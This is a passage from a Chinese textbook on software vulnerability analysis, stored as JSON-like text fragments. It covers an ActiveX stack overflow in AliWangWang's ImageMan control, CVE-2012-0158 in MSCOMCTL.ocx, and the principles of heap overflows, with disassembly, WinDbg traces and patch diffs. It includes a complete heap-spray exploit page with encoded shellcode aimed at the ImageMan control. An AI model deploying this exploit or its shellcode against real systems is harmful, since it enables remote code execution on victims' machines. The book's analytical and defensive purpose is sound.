ECX 01C9ABB8 6A 00 PUSH 0 01C9ABBA 6A 00 PUSH 0 01C9ABBC FF15 A8E2CB01 CALL DWORD PTR DS:[<&KERNEL32.WideCha>; kernel32.WideCharToMultiByte 01C9ABC2 C685 F0FCFFFF 00 MOV BYTE PTR SS:[EBP-310],0 01C9ABC9 B9 40000000 MOV ECX,40 01C9ABCE 33C0 XOR EAX,EAX 01C9ABD0 8DBD F1FCFFFF LEA EDI,DWORD PTR SS:[EBP-30F] 01C9ABD6 F3:AB REP STOS DWORD PTR ES:[EDI] 01C9ABD8 66:AB STOS WORD PTR ES:[EDI] 01C9ABDA AA STOS BYTE PTR ES:[EDI] 01C9ABDB 6A 5C PUSH 5C ; 反斜杠\\ 01C9ABDD 8D95 F8FDFFFF LEA EDX,DWORD PTR SS:[EBP-208] 01C9ABE3 52 PUSH EDX ; buffer 转换为多字节字符串 fullpath 01C9ABE4 E8 17940100 CALL <ImageMan.strrchr> ; 获取字符串中最后一个反斜 杠的位置 index，由于无此字符，因此 index 等于字符串结束地址 01C9ABE9 83C4 08 ADD ESP,8 01C9ABEC 8985 F4FDFFFF MOV DWORD PTR SS:[EBP-20C],EAX 01C9ABF2 C685 FCFEFFFF 00 MOV BYTE PTR SS:[EBP-104],0 01C9ABF9 B9 40000000 MOV ECX,40 01C9ABFE 33C0 XOR EAX,EAX 01C9AC00 8DBD FDFEFFFF LEA EDI,DWORD PTR SS:[EBP-103] 01C9AC06 F3:AB REP STOS DWORD PTR ES:[EDI] 01C9AC08 66:AB STOS WORD PTR ES:[EDI] 第2章 栈溢出漏洞分析 63 01C9AC0A AA STOS BYTE PTR ES:[EDI] 01C9AC0B 8B85 F4FDFFFF MOV EAX,DWORD PTR SS:[EBP-20C] ; index 01C9AC11 8D8D F8FDFFFF LEA ECX,DWORD PTR SS:[EBP-208] ; fullpath 01C9AC17 2BC1 SUB EAX,ECX 01C9AC19 83C0 01 ADD EAX,1 ; index - fullpath + 1 01C9AC1C 50 PUSH EAX ; 复制的字节数 size = index - fullpath + 1，只要字符串无反斜杠就会全字符串复制，最终会覆盖到栈顶数据 01C9AC1D 8D95 F8FDFFFF LEA EDX,DWORD PTR SS:[EBP-208] 01C9AC23 52 PUSH EDX ; 源地址 = AAA...... 01C9AC24 8D85 FCFEFFFF LEA EAX,DWORD PTR SS:[EBP-104] 01C9AC2A 50 PUSH EAX ; 目标地址 = 本地变量 01C9AC2B E8 E0160000 CALL <ImageMan._mbsnbcpy> ; 调用_mbsnbcpy 拷贝字符 串，触发溢出！ 01C9AC30 83C4 0C ADD ESP,0C 分析总结：在传递字符串参数给AutoPic函数时，它会先获取反斜杠“\\”的位置，然后字符串开 始至反斜杠之间的字符数将作为后续复制时的size，若字符串中无反斜杠，就会导致全字符串复制， 最终导致溢出。"},
    {"text": "2.6.4 漏洞利用 结合Heap Spary技术即可实现利用，以下是笔者当时写的Exploit代码，由于利用方式较为简单， 因此这里不做具体分析： <html> <body> <object classid=\"clsid:128D0E38-1FF4-47C3-B0F7-0BAF90F568BF\" id=\"target\"></object> <script> shellcode = unescape( '%uc931%ue983%ud9de%ud9ee%u2474%u5bf4%u7381%u3d13%u5e46%u8395'+ '%ufceb%uf4e2%uaec1%u951a%u463d%ud0d5%ucd01%u9022%u4745%u1eb1'+ '%u5e72%ucad5%u471d%udcb5%u72b6%u94d5%u77d3%u0c9e%uc291%ue19e'+ '%u873a%u9894%u843c%u61b5%u1206%u917a%ua348%ucad5%u4719%uf3b5'+ '%u4ab6%u1e15%u5a62%u7e5f%u5ab6%u94d5%ucfd6%ub102%u8539%u556f'+ '%ucd59%ua51e%u86b8%u9926%u06b6%u1e52%u5a4d%u1ef3%u4e55%u9cb5'+ '%uc6b6%u95ee%u463d%ufdd5%u1901%u636f%u105d%u6dd7%u86be%uc525'+ '%u3855%u7786%u2e4e%u6bc6%u48b7%u6a09%u25da%uf93f%u465e%u955e'); nops=unescape('%u9090%u9090'); headersize =20; 64 漏洞战争：软件漏洞分析精要 slackspace= headersize + shellcode.length; while(nops.length < slackspace) nops+= nops; fillblock= nops.substring(0, slackspace); block= nops.substring(0, nops.length- slackspace); while( block.length+ slackspace<0x50000) block= block+ block+ fillblock; memory=new Array(); for( counter=0; counter<200; counter++) memory[counter]= block + shellcode; s=''; for( counter=0; counter<=1000; counter++) s+=unescape(\"%0D%0D%0D%0D\"); target.AutoPic(s,\"defaultV\"); </script> </body> </html> 用IE打开后，选择允许ActiveX控件执行，执行后的效果如图2-54所示。"},
    {"text": "图2-54 成功执行任意代码 当时漏洞在乌云上被公开，淘宝及时发布了修复版AliIM2010_taobao(6.50.10C)，但随后又在乌 云上被人爆出存在off-by-one漏洞，详见：http://www.wooyun.org/bugs/wooyun-2010-01380，笔者在阿 第2章 栈溢出漏洞分析 65 里旺旺2011版上发现目前已经无ImageMan控件，因此这里就不做漏洞修复的分析了。"},
    {"text": "2.7 CVE-2012-0158 Microsoft Office MSCOMCTL.ocx栈溢出漏洞 2.7.1 Lotus Blossom 行动 2015年6月，国外安全厂商Palo Alto Networks的威胁情报团队Unit42发现一系列以东南亚国家政 府组织及军事单位为攻击目标的间谍行为（分析报告详见：https://www.paloaltonetworks.com/content/ dam/paloaltonetworks-com/en_US/assets/pdf/reports/Unit_42/operation-lotus-blossom/unit42-operation-lot us-blossom.pdf），试图获取该国家/地区的内部运作信息，此攻击事件被命名为“Lotus Blossom行动”。"},
    {"text": "黑客组织在此次间谍行动中，主要通过构造恶意Office文档诱使目标上钩，从而在对方的计算机 上植入木马，其中使用到的漏洞就包括著名的CVE-2012-0158 Word栈溢出漏洞。"},
    {"text": "2.7.2 漏洞描述 由 于 Microsoft Windows 通 用 控 件 中 的 MSCOMCTL.TreeView 、 MSCOMCTL.ListView2 、 MSCOMCTL.TreeView2、MSCOMCTL.ListView控件（MSCOMCTL.OCX）中存在栈溢出漏洞，导 致可被用于执行任意代码。"},
    {"text": "该漏洞一直是Office漏洞史上的经典案例，在各类恶意攻击事件中经常可 以看到它的身影，甚至到2015年，在网络上也依然有使用该漏洞的病毒样本存在。"},
    {"text": "表2-5 测试环境 推荐使用的环境 备注 操作系统 Windows XP SP3 简体中文版 虚拟机 VirtualBox 版本号：4.1.8 调试器 Immunity Debugger 版本号：1.73 反汇编器 IDA Pro 版本号：6.1 漏洞软件 Microsoft Word 版本号：2003（11.8169.8329）SP3 中文版 Office 格式分析工具 OffVis 版本号：1.1 66 漏洞战争：软件漏洞分析精要 2.7.4 基于OffVis工具的Office漏洞分析方法 首先打开Word，然后用Immunity Debugger附加运行，接着打开poc.doc后崩溃断下，如图2-55所 示。"},
    {"text": "回溯栈上数据，可以发 现最近的返回地址位于MSCOMCTL模块0x275C8A0A： 001214F8 00008282 倐.. 001214FC 00121530 0. 00121500 275C8A0A . 奬 ' MSCOMCTL.275C8A0A 00121504 00121528 (. 00121508 01FD9008 慅 0012150C 00008282 倐.. 00121510 00000000 .... 00121514 001FE8BC 艰. 00121518 05370810 7 0012151C 6A626F43 Cobj 00121520 00000064 d... 00121524 00008282 倐.. 00121528 00000000 .... 0012152C 00000000 .... 00121530 00000000 .... 00121534 41414141 AAAA 第2章 栈溢出漏洞分析 67 00121538 00000000 .... 0012153C 00000000 .... 00121540 00000000 .... 我 们 继 续 往 上 追 溯 ， 发 现 地 址 0x275C8A0A 是 位 于 函 数 sub_275C89C7 之 中 的 ， 我 们 将 sub_275C89C7标记为VulFun函数，然后在VulFun函数入口地址0x275C89C7下断。"},
    {"text": "我们若直接在 0x275C89C7下断点，会发现程序是断不下来的，因为该模块是在打开poc.doc时才动态加载的。 这里 可 以 先 通 过 按 “ Alt+E ” 组 合 键 找 到 MSCOMCTL 模 块 对 应 的 文 件 路 径 ： C:\\windows\\system32\\ MSCOMCTL.ocx，再用ImmDbg加载运行，然后 bp 0x275C89C7下断，这样每次Word加载此模块并 运行至VulFun时就会断下。"},
    {"text": "275C89C7 > $ 55 PUSH EBP ; 断在这里 275C89C8 . 8BEC MOV EBP,ESP 275C89CA . 83EC 14 SUB ESP,14 ; 分配 0x14 大小的栈空间 275C89CD . 53 PUSH EBX 275C89CE . 8B5D 0C MOV EBX,DWORD PTR SS:[EBP+C] 275C89D1 . 56 PUSH ESI 275C89D2 . 57 PUSH EDI 275C89D3 . 6A 0C PUSH 0C 275C89D5 . 8D45 EC LEA EAX,DWORD PTR SS:[EBP-14] 275C89D8 . 53 PUSH EBX 275C89D9 . 50 PUSH EAX 275C89DA . E8 8EFDFFFF CALL MSCOMCTL.275C876D 275C89DF . 83C4 0C ADD ESP,0C ; 用掉 0x0C 大小的栈空间，剩余 0x8 字节 275C89E2 . 85C0 TEST EAX,EAX 275C89E4 . 7C 6C JL SHORT MSCOMCTL.275C8A52 275C89E6 . 817D EC 436F62>CMP DWORD PTR SS:[EBP-14],6A626F43 275C89ED . 0F85 92A60000 JNZ MSCOMCTL.275D3085 275C89F3 . 837D F4 08 CMP DWORD PTR SS:[EBP-C],8 275C89F7 . 0F82 88A60000 JB MSCOMCTL.275D3085 275C89FD . FF75 F4 PUSH DWORD PTR SS:[EBP-C] 275C8A00 . 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8] 275C8A03 . 53 PUSH EBX 275C8A04 . 50 PUSH EAX 275C8A05 . E8 63FDFFFF CALL MSCOMCTL.275C876D ; 注意这里，后面会提到，正是它复制 数据到栈上，导致的溢出！ 275C8A0A . 8BF0 MOV ESI,EAX 275C8A0C . 83C4 0C ADD ESP,0C 单步运行到0x275C89CD，然后对ebp+4（下一栈桢的栈顶，即返回地址）下内存写断点，按F9 键运行后会发现程序刚好断在0x275C876D函数里面。 68 漏洞战争：软件漏洞分析精要 275C876D $ 55 PUSH EBP 275C876E . 8BEC MOV EBP,ESP 275C8770 . 51 PUSH ECX 275C8771 . 53 PUSH EBX 275C8772 . 8B5D 0C MOV EBX,DWORD PTR SS:[EBP+C] 275C8775 . 56 PUSH ESI 275C8776 . 33F6 XOR ESI,ESI 275C8778 . 8B03 MOV EAX,DWORD PTR DS:[EBX] 275C877A . 57 PUSH EDI 275C877B . 56 PUSH ESI 275C877C . 8D4D FC LEA ECX,DWORD PTR SS:[EBP-4] 275C877F . 6A 04 PUSH 4 275C8781 . 51 PUSH ECX 275C8782 . 53 PUSH EBX 275C8783 . FF50 0C CALL DWORD PTR DS:[EAX+C] 275C8786 . 3BC6 CMP EAX,ESI 275C8788 . 7C 78 JL SHORT MSCOMCTL.275C8802 275C878A . 8B7D 10 MOV EDI,DWORD PTR SS:[EBP+10] 275C878D . 397D FC CMP DWORD PTR SS:[EBP-4],EDI 275C8790 . 0F85 FDB70000 JNZ MSCOMCTL.275D3F93 275C8796 . 57 PUSH EDI ; /HeapSize 275C8797 . 56 PUSH ESI ; |Flag 275C8798 . FF35 00DE6227 PUSH DWORD PTR DS:[2762DE00] ; |hHeap = 00140000 275C879E . FF15 68115827 CALL DWORD PTR DS:[<&KERNEL32.HeapAlloc>] ; \\HeapAlloc 275C87A4 . 3BC6 CMP EAX,ESI 275C87A6 . 8945 0C MOV DWORD PTR SS:[EBP+C],EAX 275C87A9 . 0F84 EEB70000 JE MSCOMCTL.275D3F9D 275C87AF . 8B0B MOV ECX,DWORD PTR DS:[EBX] 275C87B1 . 56 PUSH ESI 275C87B2 . 57 PUSH EDI 275C87B3 . 50 PUSH EAX 275C87B4 . 53 PUSH EBX 275C87B5 . FF51 0C CALL DWORD PTR DS:[ECX+C] 275C87B8 . 8BF0 MOV ESI,EAX 275C87BA . 85F6 TEST ESI,ESI 275C87BC . 7C 31 JL SHORT MSCOMCTL.275C87EF 275C87BE . 8B75 0C MOV ESI,DWORD PTR SS:[EBP+C] 275C87C1 . 8BCF MOV ECX,EDI 275C87C3 . 8B7D 08 MOV EDI,DWORD PTR SS:[EBP+8] 275C87C6 . 8BC1 MOV EAX,ECX 275C87C8 . C1E9 02 SHR ECX,2 第2章 栈溢出漏洞分析 69 275C87CB . F3:A5 REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] ; 断在此 处，正是这里循环复制数据到栈上，导致栈溢出！"},
    {"text": "275C87CD . 8BC8 MOV ECX,EAX 275C87CF . 8B45 10 MOV EAX,DWORD PTR SS:[EBP+10] 275C87D2 . 83E1 03 AND ECX,3 理下思路，在解析poc.doc时，程序会调用VulFun函数，该函数只分配0x14大小的栈空间，中间 用掉0x0C大小栈空间，剩余0x8字节，而后面在调用0x275C876D（将其标记为CopyOLEdata函数） 复制数据到栈上时，由于复制的大小超出0x8，导致栈溢出！"},
    {"text": "下 面我们分析poc.doc文件格式，其实开头内容如下： {\\rtf1 {\\fonttbl{\\f0\\fnil\\fcharset0 Verdana;}} \\viewkind4\\uc1\\pard\\sb100\\sa100\\lang9\\f0\\fs22\\par \\pard\\sa200\\sl276\\slmult1\\lang9\\fs22\\par {\\object\\objocx {\\*\\objdata 01050000020000001B0000004D53436F6D63746C4C69622E4C697374566965774374726C2E3200000000000 0000000000E0000 D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF090006000000000000000000000 0010000000…… 导致漏洞的是\\object标签内容，其中的\\objocx代表在OLE容器中嵌入OCX控件，后面的\\objdata 包含对象数据，OLE对象采用OLESaveToStream结构，后面的D0CF11E0是OLE签名，代表DOCFILE， 从这里开始就是OLE数据。"},
    {"text": "如果我们直接用OffVis打开poc.doc解析，则会得到未发现OLESS签名的 错误，如图2-56所示。 图2-56 OLESS签名错误 由于poc.doc是RTF格式，里面的OLE数据是以文本形式存储，因此未被OffVis识别出来，可将从 0xD0CF11E0开始至结尾的数据以十六进制形式保存为test.doc，再用OffVis打开即可解析，如图2-57 所示。"},
    {"text": "70 漏洞战争：软件漏洞分析精要 图2-57 用OffVis解析RTF格式 图2-58 EleName为Contents的Data字段内容 回头看下VulFun函数对此段数据的解析，这里使用IDA的F5功能转换成C代码，如图2-59所示。"},
    {"text": "第2章 栈溢出漏洞分析 71 图2-59 VulFun函数对应的伪C代码 第一次调用CopyOLEdata复制0xC大小的数据到栈上，这段数据就是从0x6A626F43（Cobj）开始 的，它代表COLLSTREAMHDR结构，样本中各字段数据如下： struct COLLSTREAMHDR { DWORD dwMagic = 0x6A626F43（\"Cobj\"）; DWORD dwVersion = 0x64; DWORD cbSize = 0x8282; } 只要cbSize≥8 就执行第二次调用CopyOLEdata，而其存放数据的栈空间只有0x8字节，样本中 为0x8282 > 0x8，最终复制数据时会导致溢出。"},
    {"text": "关于此漏洞的利用，基本与CVE-2012-3333类似，而且poc.doc中的0x41414141刚好就是返回地 址，已经定位好覆盖点，利用方法也较为简单。"},
    {"text": "2.7.5 漏洞修复 首先，从官方下载漏洞补丁：http://www.microsoft.com/zh-cn/download/details.aspx?id=29389，安 装后，我们用BinDiff对比补丁前后的修复情况。"},
    {"text": "如图2-61所示，官方添加了对dwVersion和cbSize的判断，要求dwVersion必须等于0x64， cbSize必须为8，否则不进行复制操作，从而防止栈溢出。"},
    {"text": "图2-60 BinDiff补丁比对情况 72 漏洞战争：软件漏洞分析精要 图2-61 漏洞修复代码 2.8 总结 本章主要针对栈溢出的历史、原理及主流软件的实例漏洞进行分析和讲解，为的是将栈溢出的 相关理论实践化，以帮助读者提高分析漏洞的实战能力。 同时，在漏洞实例后面都会添加补丁比较 一节，分析官方对溢出漏洞的修复方法，以帮助开发人员提高漏洞修复和防御能力。 正所谓“工欲 善其事，必先利其器”，因此在本章中，笔者还讲解了一些在漏洞分析中的常用工具，包括调试器、 反汇编器及分析常用的文件格式的工具，读者在平常分析漏洞的过程中，也可自行收集常用的辅助 分析工具，在必要时，常常可以起到事半功倍的效果。 对于栈溢出漏洞的分析，都是通过栈回溯的方法找到漏洞函数，可在原栈顶（返回地址）下内 存写断点。 程序断下时，经常是在mov和rep movs等用于实现字符串复制的相关指令处，再通过栈回 溯或者函数交互引用定位漏洞函数地址； 而对于ActiveX控件的调试，一般直接通过OLEAUT32模块 中的DispCallFunc函数对首个call ecx指令下断跟进，此时进入的就是PoC中调用的控件函数，即漏洞 函数，定位方式相对普通程序的调试更为简单。 如果PoC中包含多个控件函数，就得逐个跟进call ecx 去判断对应的是哪个控件函数。 上面的调试方法也不是唯一的，比如通过指令运行记录功能，将PoC 分别在漏洞版本和修复版本的程序上运行，再通过比对运行指令的差异性，从中找到漏洞成因及修 复方法。 本章提供的栈溢出调试方法，只是想起到一个“抛砖引玉”的作用，希望对各位读者有所 帮助。 第3章 堆溢出漏洞分析 73 第 3 章 堆溢出漏洞分析 3.1 堆溢出简史 以前，很多Exploit公布站点上关于堆溢出的Exploit明显要比栈溢出少，一方面是由于堆漏洞比 栈漏洞更难发现，另一方面是因为其利用难度较栈溢出大，而且受漏洞场景影响较大，很多以往的 堆溢出利用方式只能在Windows XP下运行，并且还受SP版本影响，特别是XP SP2之后对堆结构做了 较大改动，这也大大地增加了黑客及安全研究人员在利用堆溢出漏洞上投入的成本。"},
    {"text": "1999年，w00w00安全小组的Matt Conver编写了 w00w00 on Heap Overflows 一文，中文版译名为 《Heap/BSS溢出机理分析》，该文是最早将堆溢出原理公布的佳作。"},
    {"text": "2002年，在BlackHat大会上，Halvar Flake发表题为 Third Generation Exploitation 的演讲，主要揭 露Windows 2000平台上的堆数据结构和算法，并提出堆溢出利用方法。"},
    {"text": "2003年9月，Dave Aitel针对MS03-026:RPC DCOM堆溢出漏洞写的 Exploiting the MSRPC Heap Overflow 详细描述了针对实际堆溢出漏洞的Exploit技巧—Arbitrary DWORD Reset（在《0day安全： 软件漏洞分析技术》一书中称为“DWORD SHOOT”）。"},
    {"text": "2004年，David Litchfield在BlackHat大会上发表的演讲 Windows Heap Overflows 较为全面地讲述 了Windows 2000/XP 平台下的堆溢出利用技术，覆盖VEH、UEF、PEB和TEB等方法，关于这些利 用方法在《0day安全：软件漏洞分析技术》的第8章“高级内存攻击技术”中有详细讲解。 2004年，Matt Conver在CanSecWest黑客大会上发表的演讲 Windows Heap Exploitation 全面地揭露 了从Windows 2K SP0到Windows XP SP2平台上的堆溢出利用技术，包括如何突破Windows XP SP2 上的堆保护机制。"},
    {"text": "2007年，Nicolas Waisman发表 Understanding and bypassing Windows Heap Protection ，主要讲解 Windows XP SP2及Windows Vista的堆保护机制及绕过方法，同时提供多款Immunity Debugger插件 用于调试堆漏洞，也正是因为Immunity Debugger提供了许多漏洞分析辅助插件，所以很多漏洞分 析者都习惯使用ImmDbg调试漏洞，尤其是国外。"},
    {"text": "漏洞战争：软件漏洞分析精要 74 漏洞战争：软件漏洞分析精要 2008年，Ben Hawkes在Ruxcon大会上演讲的 Attacking the Vista Heap 首次公开了Windows Vista平 台下的堆内部结构，以及绕过Vista堆保护的方法。"},
    {"text": "2009年，John McDonald和Chris Valasek在BlackHat USA大会上发表题为 Practical Windows XP/2003 Heap Exploitation 的演讲，详细地介绍了Windows XP SP3和Server 2003的堆结构及核心算法， 同时较为全面地总结出各种堆溢出利用技术，该文的中译版已由冰雪风谷翻译并发在看雪论坛上。"},
    {"text": "2010年，在Pwn2Own 2010黑客大赛上Peter vreugdenhil利用内存泄露和覆盖虚表指针的方法攻下 Windows 7的IE8浏览器，此处利用的是CVE-2011-0027：MDAC ADO记录堆溢出漏洞。"},
    {"text": "首先，利用 heap spray将Shellcode传递到可预测的地址，再利用堆溢出覆盖虚表指针劫持EIP，同时借助内存泄露 定位对象所属DLL（msado15.dll）的基址来绕过ASLR，又使用ROP技术绕过DEP保护，从而实现Exploit 的稳定利用。"},
    {"text": "现在，随着栈溢出的减少，堆溢出的漏洞反而越来越多了，针对此类型的漏洞利用技术也变多 了，利用技术已经逐步趋于成熟。 很多主流软件的栈溢出漏洞已经很少见了，比如IE浏览器、Adobe 软件，反而是堆上的漏洞成为主流。"},
    {"text": "3.2 堆溢出原理 以下列代码来演示堆溢出漏洞： // heapoverflow.c #include <windows.h> #include <stdio.h> int main ( ) { HANDLE hHeap; char *heap; char str[] = \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"; // 0x20 大小 hHeap = HeapCreate(HEAP_GENERATE_EXCEPTIONS, 0x1000, 0xffff); getchar(); // 用于暂停程序，便于调试器附加进程 heap = HeapAlloc(hHeap, 0, 0x10); printf(\"heap addr:0x%08x\\n\",heap); strcpy(heap,str); // 导致堆溢出 HeapFree(hHeap, 0, heap); // 触发崩溃 HeapDestroy(hHeap); 第3章 堆溢出漏洞分析 75 return 0; } 测试环境如表3-1所示。"},
    {"text": "表 3-1 测试环境 推荐使用的环境 备注 操作系统 Windows 7 简体中文旗舰版 编译器 Microsoft Visual C++ 版本号：6.0 调试器 WinDbg 版本号：6.1 内部版本 7600 说明：实验过程中的一些地址可能会出现变化，读者需要在实际测试中调试确定。"},
    {"text": "由于调试堆与常态堆的结构不同，因此在演示代码中加入getchar函数，主要用于暂停进程，方便 运行heapoverflow.exe后用调试器附加进程。 Debug版的程序与Release版实际运行的进程中各内存结构 和分配过程也是不同的，比如堆分配过程等，因此在测试时，应将heapoverflow.c编译成RELEASE版。 运行heapoverflow.exe，然后使用WinDbg附加运行，在命令行下输g命令按回车键后，进程出现 异常： 0:001> g (1dec.138c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00660bb8 ebx=00000000 ecx=41414141 edx=00660ba0 esi=00660b98 edi=00660000 eip=77582eef esp=0012fdd8 ebp=0012feb8 iopl=0 nv up ei ng nz na po cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283 ntdll!RtlpFreeHeap+0x4d6: 77582eef 8b19 mov ebx,dword ptr [ecx] ds:0023:41414141=???????? 0:000> kb ChildEBP RetAddr Args to Child 0012feb8 77582bf0 00660b98 00660ba0 0012ff49 ntdll!RtlpFreeHeap+0x4d6 0012fed8 59ac9ed9 00660000 00000000 00660ba0 ntdll!RtlFreeHeap+0x142 0012fef0 75d1f14c 00660000 00000000 00660ba0 AcXtrnal!NS_FaultTolerantHeap::APIHook_RtlFreeHeap+0x61 0012ff04 00401094 00660000 00000000 00660ba0 kernel32!HeapFree+0x14 WARNING: Stack unwind information not available. Following frames may be wrong. 0012ff48 00401327 00000001 004f1980 004f1a08 heapoverflow+0x1094 0012ff88 75d21114 7ffff000 0012ffd4 7758b299 heapoverflow+0x1327 0012ff94 7758b299 7ffff000 74cb5c1c 00000000 kernel32!BaseThreadInitThunk+0xe 0012ffd4 7758b26c 00401273 7ffff000 00000000 ntdll!__RtlUserThreadStart+0x70 0012ffec 00000000 00401273 7ffff000 00000000 ntdll!_RtlUserThreadStart+0x1b 上面的ecx已经被我们的“AAAA”字符串覆盖掉了，最后导致在引用该地址时程序崩溃。 由于 这里使用Release版程序，所以编译时没有生成pdb符号文件，笔者主要通过前面的栈回溯定位到main 76 漏洞战争：软件漏洞分析精要 函数入口，然后找到复制字符串的地址并对其下断： 0:000> bp 00401084 0:001> g Breakpoint 0 hit eax=00000021 ebx=00530ba0 ecx=00000008 edx=77576194 esi=0012ff28 edi=00530ba0 eip=00401084 esp=0012ff10 ebp=00530000 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202 heapoverflow+0x1084: 00401084 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] 0:000> dd edi 00530ba0 005300c4 005300c4 00000000 00000000 00530bb0 00000086 00000003 005300c4 005300c4 00530bc0 00000000 00000000 00000000 00000000 00530bd0 00000000 00000000 00000000 00000000 00530be0 00000000 00000000 00000000 00000000 00530bf0 00000000 00000000 00000000 00000000 00530c00 00000000 00000000 00000000 00000000 00530c10 00000000 00000000 00000000 00000000 0:000> dd esi 0012ff28 41414141 41414141 41414141 41414141 0012ff38 41414141 41414141 41414141 41414141 0012ff48 00407000 00401327 00000001 005e1980 0012ff58 005e1a08 00000000 00000000 7ffff000 0012ff68 00000000 00000000 0012ff5c 00000000 0012ff78 0012ffc4 00402c50 004060b8 00000000 0012ff88 0012ff94 75d21114 7ffff000 0012ffd4 0012ff98 7758b299 7ffff000 74b4c39a 00000000 此时堆块已经分配完成，其对应的分配地址位于0x00530ba0，如图3-1所示。"},
    {"text": "对于已分配的堆块，其开头均有8字节的HEAP_ENTRY 结构，而对于空闲堆块，它的开头就是HEAP_FREE_ENTRY结构，因此heap的HEAP_ENTRY结构位 于0x00530ba0-8=0x00530B98。 图3-1 heapoverflow.exe的输出信息 在WinDbg上查看两个堆块的信息，这两个堆块目前处于占用状态，共有0x10大小的数据空间： 0:000> !heap -p -a 0x00530B98 address 00530b98 found in _HEAP @ 530000 第3章 堆溢出漏洞分析 77 HEAP_ENTRY Size Prev Flags UserPtr UserSize - state 00530b98 0003 0000 [00] 00530ba0 00010 - (busy) 在WinDbg中使用!heap命令查看HeapCreate创建的整个堆信息，可以发现在堆块heap之后还有个 空闲堆块0x00530bb0： 0:000> !heap NtGlobalFlag enables following debugging aids for new heaps: heap tagging Index Address Name Debugging options enabled 1: 00180000 Process 2: 00010000 3: 00020000 4: 003e0000 5: 005e0000 6: 00530000 0:000> !heap -a 00530000 ……省略部分内容…… Heap entries for Segment00 in Heap 00530000 00530000: 00000 . 00b98 [01] - busy (b97) 00530b98: 00b98 . 00018 [01] - busy (10) // 占用堆，即示例中的 heap 堆块 00530bb0: 00018 . 00430 [00] // 空闲堆 00530fe0: 00430 . 00020 [11] - busy (1d) 00531000: 0000f000 - uncommitted bytes. 在复制字符串时，原本只有0x10大小的堆，当填充过多的字符串时就会覆盖到下方的空闲堆块 0x00530bb0。 在复制前0x00530bb0空闲块的HEAP_FREE_ENTRY结构数据如下： 0:000> dt _HEAP_FREE_ENTRY 0x00530bb0 ntdll!_HEAP_FREE_ENTRY +0x000 Size : 0x86 +0x002 Flags : 0 '' +0x003 SmallTagIndex : 0 '' +0x000 SubSegmentCode : 0x00000086 +0x004 PreviousSize : 3 +0x006 SegmentOffset : 0 '' +0x006 LFHFlags : 0 '' +0x007 UnusedBytes : 0 '' +0x000 FunctionIndex : 0x86 +0x002 ContextValue : 0 +0x000 InterceptorValue : 0x86 +0x004 UnusedBytesLength : 3 +0x006 EntryOffset : 0 '' +0x007 ExtendedBlockSignature : 0 '' 78 漏洞战争：软件漏洞分析精要 +0x000 Code1 : 0x86 +0x004 Code2 : 3 +0x006 Code3 : 0 '' +0x007 Code4 : 0 '' +0x000 AgregateCode : 0x3`00000086 +0x008 FreeList : _LIST_ENTRY [ 0x5300c4 - 0x5300c4 ] 0:000> dt _LIST_ENTRY 0x00530bb0+8 ntdll!_LIST_ENTRY [ 0x5300c4 - 0x5300c4 ] +0x000 Flink : 0x005300c4 _LIST_ENTRY [ 0x530bb8 - 0x530bb8 ] +0x004 Blink : 0x005300c4 _LIST_ENTRY [ 0x530bb8 - 0x530bb8 ] 覆盖后，0x00530bb0空闲块的HEAP_FREE_ENTRY结构数据如下： 0:000> dt _HEAP_FREE_ENTRY 0x00530bb0 ntdll!_HEAP_FREE_ENTRY +0x000 Size : 0x4141 +0x002 Flags : 0x41 'A' +0x003 SmallTagIndex : 0x41 'A' +0x000 SubSegmentCode : 0x41414141 +0x004 PreviousSize : 0x4141 +0x006 SegmentOffset : 0x41 'A' +0x006 LFHFlags : 0x41 'A' +0x007 UnusedBytes : 0x41 'A' +0x000 FunctionIndex : 0x4141 +0x002 ContextValue : 0x4141 +0x000 InterceptorValue : 0x41414141 +0x004 UnusedBytesLength : 0x4141 +0x006 EntryOffset : 0x41 'A' +0x007 ExtendedBlockSignature : 0x41 'A' +0x000 Code1 : 0x41414141 +0x004 Code2 : 0x4141 +0x006 Code3 : 0x41 'A' +0x007 Code4 : 0x41 'A' +0x000 AgregateCode : 0x41414141`41414141 +0x008 FreeList : _LIST_ENTRY [ 0x41414141 - 0x41414141 ] 整个空闲堆头信息都被覆写，包括最后空闲链表中的前后向指针都被覆写为0x41414141。 当后 面调用HeapFree去释放堆块时，就会将buf2与后面的空闲堆00600bc8进行合并，修改两个合并堆块的 前后向指针，此时就会引用到0x41414141，最后造成异常崩溃。 如果将上面释放堆块的操作换成分 配堆块HeapAlloc(hHeap, 0, 0x10) 也会导致崩溃，因为在分配堆块时会去遍历空闲链表指针，造成地 址引用异常，示例程序的堆溢出原理如图3-2所示。 当内存中已分配多个堆块时，可能覆盖到的就是 第3章 堆溢出漏洞分析 79 已分配的堆块，此时可能就是覆盖到HEAP_ENTRY结构，而非HEAP_FREE_ENTRY结构，图3-2是 根 据 上 文 中 的 示 例 程 序 而 画 的 。 如 果 是 反 方 向 溢 出 就 可 能 覆 盖 到 堆 管 理 结 构 HEAP 和 HEAP_SEGMENT结构，这种漏洞称为堆下溢，相对比较少见而且利用难度较大，本书主要讨论堆 上溢，即平常所说的堆溢出。 图3-2 堆溢出原理 在Windows XP SP2上可利用调整链表指针的方式，向固定的地址写入可控数据（将Flink数据写 入Blink指向的地址），比如将Shellcode地址写到返回地址，或者覆写PEB函数指针、SEH结构等， 但在后续的系统版本中，逐渐加强对堆溢出的保护，比如堆cookie、PEB地址随机化、safe-unlink等， 这使得以往的很多方法失效。 上面运行在Windows 7平台上的示例程序，崩溃时写入地址ebx固定为0， 而不再像Windows XP下那样可控，这也是Windows 7上一些安全机制保护的结果，关于Windows 7 平台上堆溢出的利用在实例漏洞章节中我们会提到，到时再讨论。"},
    {"text": "下面是一些常见的调试选项，可通过WinDbg提供的gflags.exe（默认位于C:\\Program Files\\Debugging Tools for Windows (x86)目录下）或者!gflag命令来设置： htc - 堆尾检查，在堆块末尾附加额外的标记信息（通常为 8 字节），用于检查堆块是否发生溢出。"},
